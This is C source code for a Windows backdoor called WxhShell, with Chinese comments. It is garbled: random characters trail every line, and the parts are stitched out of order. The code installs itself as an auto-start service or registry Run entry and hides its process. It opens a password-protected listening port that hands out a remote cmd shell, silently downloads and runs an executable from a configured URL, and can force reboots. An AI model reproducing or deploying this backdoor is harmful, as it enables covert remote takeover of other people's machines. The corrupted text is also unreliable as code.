    if(Boot(SHUTDOWN)) k; (r:k^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $, vX yZ  
    else { e.Gjp {  
    closesocket(wsh); >)*0lfxTZ  
    ExitThread(0); ]WvV*FL9D3  
    } S>;+zVF]  
    break; >XJUj4B|X  
    } ,JqCxb9  
  // 获取shell B6-1q& E/  
  case 's': { E@/* eJ  
    CmdShell(wsh); qq '%9  
    closesocket(wsh); :v B9z  
    ExitThread(0); |7)oX  
    break; F&u)wI'  
  } wB+X@AA  
  // 退出 >!3r7LgK  
  case 'x': { ;)23@6{R%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L]Dq1q8`  
    CloseIt(wsh); A/TCJ#>l  
    break; SQ la]%  
    } XP^[,)E  
  // 离开 ,!vI@>nhG  
  case 'q': { ddzMwucjp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `DS7J\c$  
    closesocket(wsh); HAmAmEc,  
    WSACleanup(); FjV)QP H  
    exit(1); V/Q/Ujgg  
    break; ((AIrE>Rr  
        } BF/l#)$yK  
  } =:*2t  
  } +5"Pm]oRbx  
N1yx|g:  
  // 提示信息 $!7$0WbC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C$4!|Wg3  
} BFswqp:  
  } a)QSq<2*  
8 -YC#&  
  return; !rTkH4!_  
} })umg8s  
]{ir^[A6  
// shell模块句柄 x(7Q5Uk\  
int CmdShell(SOCKET sock) td5! S]  
{ Q" G;L  
STARTUPINFO si; Cg3 d  
ZeroMemory(&si,sizeof(si)); Y2aN<>f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8}K4M(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LV@tt&|N  
PROCESS_INFORMATION ProcessInfo; x4XCR,-  
char cmdline[]="cmd"; dLbSvK<(I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ![&9\aH  
  return 0; ^l{q{O7U$  
} F% z$^ m-  
_c>8y  
// 自身启动模式 4SJb\R)XK  
int StartFromService(void) I~Q G  
{ <.=-9O6  
typedef struct   bKt4  
{ I9L7,~s  
  DWORD ExitStatus; ~oz??SX  
  DWORD PebBaseAddress; 3c+ps;nh  
  DWORD AffinityMask; Ya;y@44  
  DWORD BasePriority; QxT\_Nej*n  
  ULONG UniqueProcessId; oVQbc \P3  
  ULONG InheritedFromUniqueProcessId; R!rj:f!>  
}   PROCESS_BASIC_INFORMATION; ~EM(*k._  
|#ZMZmo{  
PROCNTQSIP NtQueryInformationProcess; 'x<o{Hi"\B  
(W |;gQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b6! 7 j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J1Run0  
@_0tq{  
  HANDLE             hProcess; H;MyT Vl  
  PROCESS_BASIC_INFORMATION pbi; `r]C%Y4?  
=Q#d0Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ff1!+P,  
  if(NULL == hInst ) return 0; D"CU J?  
elz0t<V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,</Kn~b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &l0 ,q=T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o>HU4O}  
\V T.bUs  
  if (!NtQueryInformationProcess) return 0; rgF4 W8  
)]C(NTfxg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O!P7Wu  
  if(!hProcess) return 0; q!{>Nlk  
9qvl9,*g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8cGoo u6  
Ey)ey-'\  
  CloseHandle(hProcess); 1s.>_  
(0["|h32,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JHa\"h  
if(hProcess==NULL) return 0; :,V&P_  
F *1w8+  
HMODULE hMod; |t~*!0>3  
char procName[255]; nP_)PDTFp  
unsigned long cbNeeded; ART0o7B  
t==\D?Rt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y@rg_Paq  
3)y=}jw  
  CloseHandle(hProcess); 06z+xxCo  
WAf"|  
if(strstr(procName,"services")) return 1; // 以服务启动 C{~O!^2G  
7^<6|>j4  
  return 0; // 注册表启动 +F*h\4ry#  
} q6}KOO)  
NAOCQDk{  
// 主模块 7^C&2k 5G  
int StartWxhshell(LPSTR lpCmdLine) -vv_6Z L[  
{ 0:JNkXZ:  
  SOCKET wsl; OZEbs 7  
BOOL val=TRUE; intl?&wC  
  int port=0; $b)t`r+  
  struct sockaddr_in door; iK!FVKi}  
n`V?n  
  if(wscfg.ws_autoins) Install(); D!z'Y,.  
5+UNLvsZ  
port=atoi(lpCmdLine); mpQu:i|W  
Lngf,Of.e  
if(port<=0) port=wscfg.ws_port; dDa&:L  
QH_Ds,oH=  
  WSADATA data; v#?;PyeF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k *D8IB  
u4$R ZTC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fZcA{$Vc]N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +J#8w h  
  door.sin_family = AF_INET; TfHL'u9B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4s@Tn>%SP  
  door.sin_port = htons(port); ^SK!? M  
*c 9 S.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HPg%v |  
closesocket(wsl); N`~f77G  
return 1; +S WtHj7e  
} ]Ljb&*IEj  
{yDQncq'^  
  if(listen(wsl,2) == INVALID_SOCKET) { Z5 7.+z<  
closesocket(wsl); YFDOp *  
return 1;  DTa!vg  
} 11c\C Iu  
  Wxhshell(wsl); >!Xj%RW  
  WSACleanup(); _mJhY0Oc  
iCCe8nK  
return 0; ]E)\>Jb  
@$iZ9x6t  
} = 5[%%Lf  
4o"?QV:  
// 以NT服务方式启动 0f@9y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U8-OQ:2.  
{ HD& Cp  
DWORD   status = 0; w@Asz9Lq%  
  DWORD   specificError = 0xfffffff; Z}{]/=h  
ydA@@C\&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p{:y?0pGN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -9;?k{{[T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GFju:8P?  
  serviceStatus.dwWin32ExitCode     = 0; (UCCEQq5  
  serviceStatus.dwServiceSpecificExitCode = 0; "$D'gS oYe  
  serviceStatus.dwCheckPoint       = 0; jGT|Xo>t  
  serviceStatus.dwWaitHint       = 0; 4LW~  
bI`JG:^b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bZr,jLEf  
  if (hServiceStatusHandle==0) return; ?1zGs2Qs  
q`?M+c*F  
status = GetLastError(); #eX<=H]  
  if (status!=NO_ERROR) G"tlJ7$myQ  
{ 6nR EuT'k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j dz IU  
    serviceStatus.dwCheckPoint       = 0; i=1crJ:  
    serviceStatus.dwWaitHint       = 0; qHtIjtt[q  
    serviceStatus.dwWin32ExitCode     = status; J Vxja<43  
    serviceStatus.dwServiceSpecificExitCode = specificError; q"oNFHYPDs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W\j)Vg__e  
    return; TD%L`Gk  
  } B?yj U[/R  
<1B+@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [^7P ]olW  
  serviceStatus.dwCheckPoint       = 0; 0S9~db  
  serviceStatus.dwWaitHint       = 0; fFYoZ/\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OhMJt&s9P=  
} a2ho+TwT  
$rTb'8  
// 处理NT服务事件,比如:启动、停止 8Lgm50bs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S4?WR+:h  
{ OZd (~E  
switch(fdwControl) gFrNk Uqp  
{ #ti%hm  
case SERVICE_CONTROL_STOP: BvH?d]%  
  serviceStatus.dwWin32ExitCode = 0; Iqn (NOq^[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; */_'pt  
  serviceStatus.dwCheckPoint   = 0; ^\kH^   
  serviceStatus.dwWaitHint     = 0; Jz3,vV fQ:  
  { !s?SI=B8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FvYciU!  
  } a s('ZD.9  
  return; -|f0;Fl  
case SERVICE_CONTROL_PAUSE: /AyxkXq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s$? LMfT  
  break; &CSy>7&q  
case SERVICE_CONTROL_CONTINUE: 3"< 0_3?W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "^!y>]j#A  
  break; *,%$l+\h  
case SERVICE_CONTROL_INTERROGATE: u`.)O2)xU  
  break; gujP{Z  
}; &xhwOgI#,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); So8 Dwz?  
} T:zM]%Xh  
:=TIq  
// 标准应用程序主函数 m(}}%VeR"z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2  
{ A<"< DDy  
{:#nrD"  
// 获取操作系统版本 >iRkhA=Vg  
OsIsNt=GetOsVer(); &"I csxG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dg"szJ-   
K)se$vb6  
  // 从命令行安装 FpU8$o~r{  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q;!rN)  
m{?f,Q=u@  
  // 下载执行文件 uwr7 .\7  
if(wscfg.ws_downexe) { mo] l_'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EApbaS}Up  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5ya^k{`+ZO  
} vp.?$(L^@/  
4#7*B yvf  
if(!OsIsNt) { tq3Rc}  
// 如果时win9x,隐藏进程并且设置为注册表启动 Gyy4zK  
HideProc(); _ZFEo< `'  
StartWxhshell(lpCmdLine); _MLf58  
} "om7 : d  
else 3)6-S  
  if(StartFromService()) S*|/txE'~Y  
  // 以服务方式启动 \!BVf@>p%  
  StartServiceCtrlDispatcher(DispatchTable); 1^E5VG1[  
else {jmy:e2  
  // 普通方式启动 3l41"5Fy&  
  StartWxhshell(lpCmdLine); GGr82)E  
rQ_@q_B.  
return 0; 8.8t$  
} m&gB;g3:  
]d@>vzCO  
6hv.;n};  
Bt(<Xj D  
=========================================== Up'#OkTx  
{7@*cB qN  
s</qT6@  
6 h,!;`8O  
3NDddrL9  
Z+J4 q9^$  
" \`xlD&F@U  
_8 |X820  
#include <stdio.h> i,a"5DR8  
#include <string.h> Iia.`"S  
#include <windows.h> L YF|  
#include <winsock2.h> -~lq <M  
#include <winsvc.h> xk% 62W  
#include <urlmon.h> J-,ocO  
3^~J;U!3  
#pragma comment (lib, "Ws2_32.lib") / + %  
#pragma comment (lib, "urlmon.lib") nHk^trGm  
:op_J!;  
#define MAX_USER   100 // 最大客户端连接数 ],S {?!'1  
#define BUF_SOCK   200 // sock buffer 9jqsEd-SW  
#define KEY_BUFF   255 // 输入 buffer @v2ko5  
3N|z^6`#  
#define REBOOT     0   // 重启 Wu'qpJ  
#define SHUTDOWN   1   // 关机 @`:X,]{  
Q=xXj'W-  
#define DEF_PORT   5000 // 监听端口 ){"?@1vP  
p^|l ',e  
#define REG_LEN     16   // 注册表键长度 Cd"{7<OyM4  
#define SVC_LEN     80   // NT服务名长度 @r/~Y]0Ye5  
C` ky=  
// 从dll定义API >20dK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `(0B09~7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z<vh8dNl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4,c6VCw3+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z%B6J>;uM  
ybE 2N  
// wxhshell配置信息 YnU)f@b#  
struct WSCFG { T!KwRxJ23  
  int ws_port;         // 监听端口 HdI)Z<Krp  
  char ws_passstr[REG_LEN]; // 口令 |&rCXfC  
  int ws_autoins;       // 安装标记, 1=yes 0=no BB(6[V"SV  
  char ws_regname[REG_LEN]; // 注册表键名 *Z_4bR4Q  
  char ws_svcname[REG_LEN]; // 服务名 p\ ;|Z+0=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s{yw1:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o?hr>b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p ZTrh&I]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >a<1J(c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .E}lAd.Mn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  3}8o 9  
~;#}aQYo  
}; uoI7' :Nv  
> ]^'h  
// default Wxhshell configuration /z*Z+OT2  
struct WSCFG wscfg={DEF_PORT, r9})~>   
    "xuhuanlingzhe", KRC"3Qt  
    1, V)>?[  
    "Wxhshell", (;},~( 2B  
    "Wxhshell", lnyfAq}w  
            "WxhShell Service", src+z#  
    "Wrsky Windows CmdShell Service", (jDz[b#OPz  
    "Please Input Your Password: ", TjEXR$:<  
  1, KddCR&  
  "http://www.wrsky.com/wxhshell.exe", 1d<Uwb>  
  "Wxhshell.exe" =,#--1R7g  
    }; kygw}|, N  
\}?X5X>  
// 消息定义模块 6^ [ 4.D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bHe' U>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @I`^\oJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <]M. K3>  
char *msg_ws_ext="\n\rExit."; c Rq2 re  
char *msg_ws_end="\n\rQuit."; - |g"q|  
char *msg_ws_boot="\n\rReboot..."; 1^}I?PbqV  
char *msg_ws_poff="\n\rShutdown..."; E>|X'I?r^  
char *msg_ws_down="\n\rSave to "; 3uqhYT;  
M}V!;o<t^  
char *msg_ws_err="\n\rErr!"; *7jz(iX  
char *msg_ws_ok="\n\rOK!"; 0<-E)\:[g  
Z,.Hz\y1D  
char ExeFile[MAX_PATH]; pi?MAE*f  
int nUser = 0; [7FG;}lB-  
HANDLE handles[MAX_USER]; F^ 75y?  
int OsIsNt; c>B1cR  
3 c=kYcj  
SERVICE_STATUS       serviceStatus; :eVZ5?F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t~->&Ja   
&Vz$0{d5  
// 函数声明 [8i)/5D4  
int Install(void); h^yqrDyJ  
int Uninstall(void); USz~l7Xs  
int DownloadFile(char *sURL, SOCKET wsh); _{Kmj,q  
int Boot(int flag); `OBzOM  
void HideProc(void); >1Z"5F7=  
int GetOsVer(void); !mmMAsd,  
int Wxhshell(SOCKET wsl); ,yYcjs!=o  
void TalkWithClient(void *cs); 147QB+cE  
int CmdShell(SOCKET sock); <W"W13*j!  
int StartFromService(void); +(3_V$|Dv  
int StartWxhshell(LPSTR lpCmdLine); F)LbH& Kn  
7MKX`S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M6)  G_-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mLX/xM/T?/  
ai{>rO3 }I  
// 数据结构和表定义 )D,KG_7l  
SERVICE_TABLE_ENTRY DispatchTable[] = +3)r szb72  
{ o$rjGa l  
{wscfg.ws_svcname, NTServiceMain}, ?l0eU@rwQ  
{NULL, NULL} >NRppPqL  
}; @Jzk2,rI  
FE~D:)Xj'?  
// 自我安装 ,@`?I6nKy  
int Install(void) zw/AZLS  
{ fE-R(9K  
  char svExeFile[MAX_PATH]; 4ba*Nc*Yc  
  HKEY key; ZEP?~zV\A  
  strcpy(svExeFile,ExeFile); 2B ]q1>a!  
VfX^iG r  
// 如果是win9x系统,修改注册表设为自启动 r )F;8(  
if(!OsIsNt) { e8F]m`{_"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }aZuCe_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C0wtMD:G  
  RegCloseKey(key); )kpEcMlR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VI0wul~M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i(}Pr A  
  RegCloseKey(key); sTM;l,  
  return 0; ;CYoc4e  
    } ;M:AcQZ|_  
  } sdFHr4  
} `q^#u  
else { $%y q[$^  
*]$B 9zVs!  
// 如果是NT以上系统,安装为系统服务 [jMN*p?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ".?4`@7F\  
if (schSCManager!=0) ujU,O%.n  
{ //R"ZE@d\  
  SC_HANDLE schService = CreateService -@pjEI  
  ( M3(N!xT  
  schSCManager, -'! J?~  
  wscfg.ws_svcname, `Ij@;=(  
  wscfg.ws_svcdisp, o?`FjZ6;x  
  SERVICE_ALL_ACCESS, Y6` xb`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?Nos;_/  
  SERVICE_AUTO_START, <LHhs <M'  
  SERVICE_ERROR_NORMAL, &N~Eu-@b  
  svExeFile, w'S,{GW  
  NULL, ,2@o`R.27  
  NULL, Q Be6\oq  
  NULL, 1Cr&6't  
  NULL, 50,'z?-_  
  NULL F2"fOS  
  ); B `(jTL  
  if (schService!=0) ZT0\V ]!B  
  { J<$@X JLS  
  CloseServiceHandle(schService); ]3KeAJ  
  CloseServiceHandle(schSCManager); ,;k+n)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e;]tO-Nu  
  strcat(svExeFile,wscfg.ws_svcname); kK6O ZhLH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O0  'iq^g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {{G)Ry*pb  
  RegCloseKey(key); +7_qg i7:  
  return 0; %yRXOt2(  
    } cD!,ZL  
  } E&M(QX5  
  CloseServiceHandle(schSCManager); *dl hRa  
} UP~28%>X  
} J4Gzp~{  
6Yu:v  
return 1; bi<<z-q`wJ  
} Jw)JV~/0  
6u[fCGi%  
// 自我卸载 fvu{(Tb  
int Uninstall(void) (b&g4$!x&5  
{ 7=^{~5#  
  HKEY key; 8Fn\ycX#"l  
/ *0t_  
if(!OsIsNt) { ]aX@(3G1s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kk3+ ]W<  
  RegDeleteValue(key,wscfg.ws_regname); je] DR~  
  RegCloseKey(key); '{&Q&3J_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MIMC(<   
  RegDeleteValue(key,wscfg.ws_regname); #;[G>-tC  
  RegCloseKey(key); 9`in r.:  
  return 0; dlu*s(O"  
  } |iM,bs  
} |]\zlH"w  
} w~lH2U'k}  
else { 7;>|9k  
t7=D$ua  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CPz<iU  
if (schSCManager!=0) N J3;[qJ  
{ 6v`3/o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9+ 'i(q z  
  if (schService!=0) V_7\VKR  
  { 6VW *8~~Xy  
  if(DeleteService(schService)!=0) { }b_Ob  
  CloseServiceHandle(schService); 3>O|i2U  
  CloseServiceHandle(schSCManager); dN8Mfa)  
  return 0; ww2mL <B  
  } VAPeMO ck  
  CloseServiceHandle(schService); '| 8 dt "C  
  } >|f"EK}m!  
  CloseServiceHandle(schSCManager); *`>BOl+ro  
} gOF^?M11x  
} `YhGd?uu$  
d$!Q6ux;  
return 1; <PLAAh8  
} DDE-$)lf>  
z.Cj%N  
// 从指定url下载文件 `Ba]i)!  
int DownloadFile(char *sURL, SOCKET wsh) xo>0j#  
{ ,!orD1,'  
  HRESULT hr; yD+4YD  
char seps[]= "/"; R%UTYRLUn  
char *token; "O34 E?ql.  
char *file; K[[~G1Z  
char myURL[MAX_PATH]; [LoQYDku  
char myFILE[MAX_PATH]; kwjO5 OC8  
WZQ2Mi<&1'  
strcpy(myURL,sURL); 'D\X$^J^  
  token=strtok(myURL,seps); :ld~9  
  while(token!=NULL) 3^8Cc(bk  
  { )/RG-L  
    file=token; W!{RJWe  
  token=strtok(NULL,seps); x|O7}oj  
  } l5 9a3=q  
{&5lZ<nu8A  
GetCurrentDirectory(MAX_PATH,myFILE); wQ33Gc  
strcat(myFILE, "\\"); >Hf{Mx{<  
strcat(myFILE, file); AC RuDY  
  send(wsh,myFILE,strlen(myFILE),0); {JE [  
send(wsh,"...",3,0); #Y7jNrxE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %8*:VR  
  if(hr==S_OK) sT^R0Q'>  
return 0; 56;u 7  
else P$E iD+5#z  
return 1; }3 xkA  
1K Vit{  
} s~M$Wo8  
ZHTi4JY  
// 系统电源模块 $qD\ku;'  
int Boot(int flag) s"jvO>[  
{ NLy4Z:&{  
  HANDLE hToken; g+#<;Gbpe  
  TOKEN_PRIVILEGES tkp; 8iIp[9~=  
/4x\}qvU  
  if(OsIsNt) { ajSB3}PN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %o?)`z9-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ci`o;KVj  
    tkp.PrivilegeCount = 1; r8 9o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,L& yKS@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P@v"aa\@2)  
if(flag==REBOOT) { *w0!C:mL&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $1.-m{Bd  
  return 0; wAHuPQ&_Q  
} 7_\G|Zd  
else { t3)6R(JC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4R'CL N |t  
  return 0; jg]KE8(  
} oJa}NH   
  } gTj,I=3$?e  
  else { :E9pdx+  
if(flag==REBOOT) { i:s=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gX" -3w  
  return 0; 48:xvTE?N  
} \,13mB6  
else { SH)-(+72d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) riW9l6s'  
  return 0; 8?Rp2n*o  
} }H ~-oYMu  
} 9~hW8{#  
ny KfM5s_  
return 1; r^m&<)Ca  
} 6Z|h>H5 a  
@&?(XY 'M%  
// win9x进程隐藏模块 t=B1yvE "  
void HideProc(void) .Y6v#VI  
{ Gazva/e  
iqlb,8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D>|`+=1'0"  
  if ( hKernel != NULL ) G2|jS@L#  
  { @T^FOTW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BL&AZv/T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SZH`-xb!+5  
    FreeLibrary(hKernel); 3CD#OCz7&  
  } !7DDPJ~  
&dtst??  
return; SnG(/1C8  
} 8&U Mmbgy  
K 4GuOl  
// 获取操作系统版本 (RFH.iX  
int GetOsVer(void) Q/g!h}>(.  
{ Q yw@ r  
  OSVERSIONINFO winfo; O14QlIk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V8/4:Va7 s  
  GetVersionEx(&winfo); KO "/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =803rNe  
  return 1; a <C?- g|  
  else JOuyEPy  
  return 0; opH!sa@U  
} *;@wPT  
1 !_p  
// 客户端句柄模块 TVNgj.`+u!  
int Wxhshell(SOCKET wsl) %tP*_d:  
{ Q0(6n8i  
  SOCKET wsh; Ry >y  
  struct sockaddr_in client; Po58@g  
  DWORD myID; yx Om=V  
8xENzTR  
  while(nUser<MAX_USER) ^2- <XD)  
{ ) (YNNu  
  int nSize=sizeof(client); Qa,=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %rrA]\C'  
  if(wsh==INVALID_SOCKET) return 1; OTF/Pu$  
" AUSgVE+h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HThZ4Kg+  
if(handles[nUser]==0) w W\[#Ku  
  closesocket(wsh); t8-P'3,Q$  
else S46aUkW.  
  nUser++; O[VY|.MEk  
  } O &<p 8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]L~NYe9  
F ,472H  
  return 0; >OaD7  
} d@ K-ZMq  
O2>c|=#  
// 关闭 socket }@q/.Ct! x  
void CloseIt(SOCKET wsh) o6vnl  
{ opa}z-7>^  
closesocket(wsh); MS\vrq'_  
nUser--; ?=9'?K/~a  
ExitThread(0); 4`i8m  
} 41<~_+-@  
n725hY6}<l  
// 客户端请求句柄 +vy fhw4  
void TalkWithClient(void *cs) FGi7KV=N  
{ U5kKT.M  
Rq}lW.<r  
  SOCKET wsh=(SOCKET)cs; {3x>kRaKci  
  char pwd[SVC_LEN]; l L;5*@  
  char cmd[KEY_BUFF]; Nbr$G=U  
char chr[1]; 4fs d5#  
int i,j; C7S\4rDJ  
AY5iTbL1  
  while (nUser < MAX_USER) { Y5tyFi#w[  
^7y t>  
if(wscfg.ws_passstr) { 3'.@aMA@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bVUIeX'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n/skDx TE  
  //ZeroMemory(pwd,KEY_BUFF); #B5,k|"/,M  
      i=0; o{y}c->  
  while(i<SVC_LEN) { Wa|V~PL+T  
d9$RmCHe}  
  // 设置超时 J[<Zy^"Y;  
  fd_set FdRead; jTR?!Mt0  
  struct timeval TimeOut; ZMQ=D!kT  
  FD_ZERO(&FdRead); r>fGj\#R =  
  FD_SET(wsh,&FdRead); {]+t<  
  TimeOut.tv_sec=8; SyVGm@  
  TimeOut.tv_usec=0; Y]SF0:v!n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o*H U^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >>J3"XHX  
5(H%Ia  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); upuN$4m&{  
  pwd=chr[0]; zzZ EX  
  if(chr[0]==0xd || chr[0]==0xa) { d AcSG  
  pwd=0; I5M\PK/  
  break; KzVi:Hm  
  } ^;_~ mq.  
  i++; 5z_d$.CIc  
    } 5VV}wR  
0<%$lr  
  // 如果是非法用户,关闭 socket g[G /If  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^0.8-RT  
} 7Jlkn=9e:  
Dylm=ZZa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F_*']:p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W q<t+E[  
,Iyc0  
while(1) { .j:,WF<"l5  
FPYk`D  
  ZeroMemory(cmd,KEY_BUFF); S-Y{Vi"2  
P{9:XSa%  
      // 自动支持客户端 telnet标准   R->x_9y-R  
  j=0; |4mvB2r  
  while(j<KEY_BUFF) { =#u4^%i)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _uO$=4Sd  
  cmd[j]=chr[0]; ,m<YS MKX  
  if(chr[0]==0xa || chr[0]==0xd) { 9InP2u\&:  
  cmd[j]=0; >T[/V3Z~K  
  break; KdCrI@^  
  } 1w=.vj<d8  
  j++; NVb}uH*i  
    } Y2DL%'K^  
 _BP%@o  
  // 下载文件 eJo" Z  
  if(strstr(cmd,"http://")) { 2?~nA2+vm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $YX{gk>  
  if(DownloadFile(cmd,wsh)) 6X@z(EEL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'u<e<hU  
  else G^Gs/- f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {c*$i^T  
  } r)|~Rs!y,  
